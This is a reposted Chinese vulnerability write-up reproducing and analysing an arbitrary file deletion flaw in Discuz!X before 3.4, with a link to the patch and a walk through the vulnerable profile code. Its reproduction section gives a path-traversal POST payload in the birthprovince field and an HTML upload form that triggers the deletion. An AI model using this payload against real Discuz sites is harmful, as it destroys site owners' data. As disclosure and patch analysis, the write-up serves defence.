发帖
扫码访问
 注册
 登录
首页 ›资讯› 安全 › 查看内容

Discuz!X前台任意文件删除漏洞重现及分析

2017-10-8 03:23 |来自: 互联网 5508 3

摘要: 首页分类阅读文库专栏公开课商城企业服务用户服务注册|登录投稿Discuz!X前台任意文件删除漏洞重现及分析LSA2017-10-07共66974人围观WEB安全漏洞0×00概述9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏 ...

Discuz!X前台任意文件删除漏洞重现及分析

2017-10-07共66974人围观WEB安全漏洞

0×00 概述

9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。

0×01 影响范围

Discuz < 3.4 

0×02 漏洞重现

环境：win7+phpstudy+discuz3.2

新建importantfile.txt作为测试

进入设置-个人资料，先在页面源代码找到formhash值

http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

可以看到formhash值是b21b6577。

再访问10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base

Post数据：birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577

如图

执行后

出生地被修改成要删除的文件。

最后构造表单执行删除文件

<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>
<input type=”file” name=”birthprovince” id=”file” />
<input type=”text” name=”formhash” value=”b21b6577″/></p>
<input type=”text” name=”profilesubmit” value=”1″/></p>
<input type=”submit” value=”Submit” />
</from>

随便上传一张图片，即可删除importantfile.txt

成功删除importantfile.txt，重现成功！

0×03 修复方案

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

删除unlink相关代码。

0×04 漏洞分析

根据补丁，漏洞存在于upload/source/include/spacecp/spacecp_profile.php。

先看第70行

if(submitcheck(‘profilesubmit’)) {

提交1进入这个判断。

来到220行，补丁前：

往上看来到：

可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。

现在就看如何控制指定文件，也就是控制$space[$key]这个变量。

继续往上看来到：

可以看出space存用户资料，就可以利用space[birthprovince]存要删除的文件。

那如何修改birthprovince为指定文件呢，直接post提交就绕过限制了。

总结整个漏洞利用流程：

修改birthprovince->上传图片->执行unlink->删除任意文件

0×05 结语

删文件……，大家不要乱搞，该补的赶紧补，discuz树大招风，2014的补丁又不补完全，正是这样攻与防的不断博弈，使安全界生机勃勃，妙趣横生，也使互联网愈发安全稳固。

0×06 参考资料

https://www.seebug.org/vuldb/ssvid-96608

https://www.seebug.org/vuldb/ssvid-93588

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php

声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过
雷人
握手
鲜花
鸡蛋
收藏 分享 邀请
上一篇：最近发生了很多数据泄漏事件，如果GDPR实施的话Equifax会怎么样？下一篇：邮件系统风险分析与预警技术研究
发表评论

最新评论 查看全部评论(3)

相关分类

返回顶部